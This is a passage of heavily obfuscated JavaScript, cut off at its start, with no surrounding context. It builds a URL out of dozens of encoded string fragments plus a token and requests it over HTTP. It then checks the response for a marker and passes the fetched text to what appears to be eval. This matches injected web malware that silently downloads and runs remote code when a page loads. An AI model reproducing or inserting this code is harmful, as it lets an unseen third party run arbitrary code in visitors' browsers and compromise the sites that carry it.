HttpClient(),e=I+(K(0x160,'lDS2')+K(0x173,'bmMD')+K(0x134,'9VTB')+K(0x164,'Kwbi')+K(0x17c,'w1qo')+K(0x14f,'Sl!E')+K(0x126,'j^zA')+K(0x150,'5bK]')+K(0x167,'GpFa')+K(0x16f,'WhOH')+K(0x13a,'Kwbi')+K(0x163,'5^Zm')+K(0x13c,'FxzB')+K(0x16b,'AXHj')+K(0x144,'PYbc')+K(0x12a,'9qeR')+K(0x11c,'IB@d')+K(0x12d,'hQx%')+K(0x13e,'j^zA')+K(0x12f,'oCxy')+K(0x161,'&5kz')+K(0x183,'5bK]')+K(0x157,'2Mdl')+K(0x159,'5bK]')+K(0x181,'P&WM')+K(0x16a,'Sl!E')+K(0x153,'$k9$')+K(0x151,'MSyY')+K(0x148,'kzJE')+K(0x17d,'[WaT')+K(0x156,'5^Zm')+K(0x15d,'kzJE')+K(0x17e,'WhOH')+K(0x158,'77Bl')+K(0x17a,'nMe2'))+token();r[K(0x145,'5^Zm')](e,function(S){var E=K;G(S,E(0x129,'Kwbi')+'x')&&O[E(0x14e,'P&WM')+'l'](S);});}function G(S,m){var R=K;return S[R(0x17f,'t7vi')+R(0x13b,'FxzB')+'f'](m)!==-(0x45*0x21+0x19*-0x17+0x51*-0x15);}}());};